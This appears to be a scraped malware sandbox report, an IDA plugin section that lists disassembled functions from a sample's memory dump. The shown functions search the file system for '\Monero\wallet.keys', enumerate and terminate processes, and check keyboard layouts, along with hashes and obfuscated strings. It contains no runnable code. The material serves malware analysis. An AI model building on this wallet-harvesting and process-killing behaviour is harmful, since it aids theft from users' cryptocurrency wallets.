Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 171706d1843a3e7a1d7de17952ae011a9bdd13b7212654013c02f8d6b9c42512
Instruction ID: 972b59af105c30a6036359a49d17de999386bb0c403f29db2df4f1919444522e
Opcode Fuzzy Hash: 171706d1843a3e7a1d7de17952ae011a9bdd13b7212654013c02f8d6b9c42512
Instruction Fuzzy Hash: 5412D671910128ABCB19FB60EDA6EEE737DAF64300F8045E9B50666091EF706F98CF51

Function 0011DF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00130C32), ref: 0011DF5E
StrCmpCA.SHLWAPI(?,001315C0), ref: 0011DFAE
StrCmpCA.SHLWAPI(?,001315C4), ref: 0011DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0011E4E0
FindClose.KERNEL32(000000FF), ref: 0011E4F2

Strings

\*.*, xrefs: 0011DF26

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 8db3cf78f74f48ccaf6d2f21d07f8ed89ee720a070f69de523d159013ea5f0c7
Instruction ID: d93aae7a1dc65cd8a894f73004b16548df6456eff004aed9195513b9edee8e10
Opcode Fuzzy Hash: 8db3cf78f74f48ccaf6d2f21d07f8ed89ee720a070f69de523d159013ea5f0c7
Instruction Fuzzy Hash: A5F19E719141289BCB29FB60EDA6EEE7379BF64300F8045D9B50A62091EF306F99CF51

Function 0056C3E9 Relevance: 14.1, Strings: 10, Instructions: 1638COMMON

Download Yara Rule

Strings

*i{, xrefs: 0056C85A
dty, xrefs: 0056CE07
5Z&?, xrefs: 0056D2FD
Hu], xrefs: 0056CF08
Y"O[, xrefs: 0056CFF6
>??D, xrefs: 0056D758
>Lo/, xrefs: 0056C4B0
N]?, xrefs: 0056D693
dh~u, xrefs: 0056C480
ZV/{, xrefs: 0056D4CD

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *i{$5Z&?$>??D$>Lo/$N]?$Y"O[$ZV/{$dh~u$dty$Hu]
API String ID: 0-4141971620
Opcode ID: f33e78b3df5c547288e2eaf1263f157497492161db533300f4831c3027ffceb3
Instruction ID: bbd0b29bb34cdfb5e5b7167cb58cd9a348fb86c11feeb63bff83a4b4ad6e2ded
Opcode Fuzzy Hash: f33e78b3df5c547288e2eaf1263f157497492161db533300f4831c3027ffceb3
Instruction Fuzzy Hash: DBB235F3A082149FD3046E2DEC8567ABBE9EF94720F1A4A3DEAC4C7744E63558018797

Function 0056FA53 Relevance: 12.7, Strings: 9, Instructions: 1495COMMON

Download Yara Rule

Strings

:~, xrefs: 00570952
cKI(, xrefs: 0056FFEE
&c/;, xrefs: 00570B00
XFe_, xrefs: 00570C7D
~Y/, xrefs: 0056FC67
l~, xrefs: 0056FF57
~v8, xrefs: 0056FDEA
Oan>, xrefs: 00570444
(nw, xrefs: 00570494

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &c/;$(nw$:~$Oan>$XFe_$cKI($l~$~Y/$~v8
API String ID: 0-1850426519
Opcode ID: 01b9697c0fb4f8ae223b9d1099b8e4d84c7a22a33c2d8da8a38ba1bed6214193
Instruction ID: cce40f560d7955b5b54cb06ac8743c5a3a83aa6cc39f355c3396f7cb861ad898
Opcode Fuzzy Hash: 01b9697c0fb4f8ae223b9d1099b8e4d84c7a22a33c2d8da8a38ba1bed6214193
Instruction Fuzzy Hash: 62B2F3F3A0C2049FD3046F29DC8567AFBE9EF94720F16892DEAC487744EA3558058B97

Function 0056AB67 Relevance: 12.7, Strings: 9, Instructions: 1427COMMON

Download Yara Rule

Strings

?aL, xrefs: 0056B45B
a7, xrefs: 0056BCA0
S,~, xrefs: 0056B0BD
J]w, xrefs: 0056B1AC
35U+, xrefs: 0056ACC0
%6uf, xrefs: 0056BC55
3j?i, xrefs: 0056B71E
3fiC, xrefs: 0056ACC5
& , xrefs: 0056BA83

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %6uf$& $35U+$3fiC$3j?i$?aL$S,~$a7$J]w
API String ID: 0-3786039081
Opcode ID: 1cf58d2f07e954b66e7172a48d30dff8000029ffe764f6139ba2fb6ecbff5e16
Instruction ID: 3eb082bf4344b0c9e736799b7100da2d4e9ea400d18195e1d508fd766ee63b93
Opcode Fuzzy Hash: 1cf58d2f07e954b66e7172a48d30dff8000029ffe764f6139ba2fb6ecbff5e16
Instruction Fuzzy Hash: 469249F3A0C2149FE3046E2DEC8567ABBE9EFD4320F1A463DEAC4C7744E93558058696

Function 001298E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00129905
Process32First.KERNEL32(00119FDE,00000128), ref: 00129919
Process32Next.KERNEL32(00119FDE,00000128), ref: 0012992E
StrCmpCA.SHLWAPI(?,00119FDE), ref: 00129943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0012995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0012997A
CloseHandle.KERNEL32(00000000), ref: 00129987
CloseHandle.KERNEL32(00119FDE), ref: 00129993

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: e439519152232c2f103c77cdedea692bdd2c4906aa7c96690d970730d40bd405
Instruction ID: 39c67ee3c3074213038da586f0b002b4082122701e870b9a12776e974b8f4cf2
Opcode Fuzzy Hash: e439519152232c2f103c77cdedea692bdd2c4906aa7c96690d970730d40bd405
Instruction Fuzzy Hash: 7A11EF75904318EBDB25DFA4EC88BDDB77DBB48705F00469CF505AA280D7749A84CF90

Function 0011E530 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00130D79), ref: 0011E5A2
StrCmpCA.SHLWAPI(?,001315F0), ref: 0011E5F2
StrCmpCA.SHLWAPI(?,001315F4), ref: 0011E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0011ECDF

Strings

\*.*, xrefs: 0011E54D
, xrefs: 0011E94D

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$
API String ID: 433455689-3283393764
Opcode ID: c4a61fb178381f1b232925e1e5c61220d11b441e13477506f970ca1151a251ab
Instruction ID: 3fd129e9c7f96286f5411096d640fd620e20fda7b55b7950281469a29d144713
Opcode Fuzzy Hash: c4a61fb178381f1b232925e1e5c61220d11b441e13477506f970ca1151a251ab
Instruction Fuzzy Hash: AC12E671A101289BCB19FB60EDA6EED7379AF74300F8045E9B50A66191EF306F58CF52

Function 00127D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

GetKeyboardLayoutList.USER32(00000000,00000000,001305B7), ref: 00127D71
LocalAlloc.KERNEL32(00000040,?), ref: 00127D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00127D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00127DF2
LocalFree.KERNEL32(00000000), ref: 00127EB2

Strings

/ , xrefs: 00127E0F

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b7ec97a4a7248c97ba92b164d8fbb3ecc35e6521825499803bcfacf46fde1f68
Instruction ID: c16ac043921070b01e29e0d9be50ead69d42e7c30d6c8db8dad5ba22058c63a8
Opcode Fuzzy Hash: b7ec97a4a7248c97ba92b164d8fbb3ecc35e6521825499803bcfacf46fde1f68
Instruction Fuzzy Hash: C1416071940228ABCB24DB94EC99BEEB378FF54700F5045D9E10966290DB742F94CFA1

Function 0058060B Relevance: 9.1, Strings: 6, Instructions: 1596COMMON

Download Yara Rule

Strings

Qv|, xrefs: 005809FE
-N*y, xrefs: 005810AA
~7, xrefs: 00580815
AP}o, xrefs: 00580A45
zw}, xrefs: 00580FC8
_:q, xrefs: 00580BA7

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -N*y$AP}o$Qv|$_:q$zw}$~7
API String ID: 0-2152543367
Opcode ID: 49afe0b7e48fc61de336f90467320d437aa2a53409c207d3f5a63165280a6dc8
Instruction ID: a8d0b78afb08fa0ee82e98f5152e2a60463aba8b7abe853b635b4cd64fba9b5f
Opcode Fuzzy Hash: 49afe0b7e48fc61de336f90467320d437aa2a53409c207d3f5a63165280a6dc8
Instruction Fuzzy Hash: 98B209F3A0C2049FE304AE2DEC8567AFBE9EB94320F1A493DEAC5C3744E57558058697

Function 0056E025 Relevance: 9.1, Strings: 6, Instructions: 1590COMMON

Download Yara Rule

Strings

MVo7, xrefs: 0056F2CD
f?}, xrefs: 0056F328
o}j, xrefs: 0056E149
4&Oo, xrefs: 0056E2C2
:p~;, xrefs: 0056ED8D
G!;{, xrefs: 0056E098

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4&Oo$:p~;$G!;{$MVo7$f?}$o}j
API String ID: 0-3054999465
Opcode ID: ca7525532ea959a7a29365dee24c06376a07b09aaaef3b770dc57acf626ce1fe
Instruction ID: 7d0bd99d964b494d56409acdf549d8e436e526c7575d52f899b2932808b846f6
Opcode Fuzzy Hash: ca7525532ea959a7a29365dee24c06376a07b09aaaef3b770dc57acf626ce1fe
Instruction Fuzzy Hash: DDB2E5F3A082109FE3046F29EC85A7AFBE9EF94720F1A493DE6C4C7744E63558418796

Function 00582129 Relevance: 7.9, Strings: 5, Instructions: 1634COMMON

Download Yara Rule

Strings

~K?w, xrefs: 00582E69
?V{g, xrefs: 00583230
0o4j, xrefs: 00583032
!(ym, xrefs: 005831CE
~Y/, xrefs: 00582367

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !(ym$0o4j$?V{g$~K?w$~Y/
API String ID: 0-1041309207
Opcode ID: 7a5240142ce0f6eb296a63cbfadbeb6ba39843b46d218e558db016a4033302ff
Instruction ID: 661d67fa5e70fade766fcc2811f80559c56007a64e5c63850a732cc1c99d4118
Opcode Fuzzy Hash: 7a5240142ce0f6eb296a63cbfadbeb6ba39843b46d218e558db016a4033302ff
Instruction Fuzzy Hash: 51B228F360C204AFE3046E2DEC8567AFBE9EF94260F1A463DE6C4C3744E97598058697

Function 005730CC Relevance: 7.8, Strings: 5, Instructions: 1566COMMON

Download Yara Rule

Strings

PsV;, xrefs: 0057410B
In?, xrefs: 005739E0
ISv}, xrefs: 00573539
T8o, xrefs: 00573762
h_w, xrefs: 005738A9

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
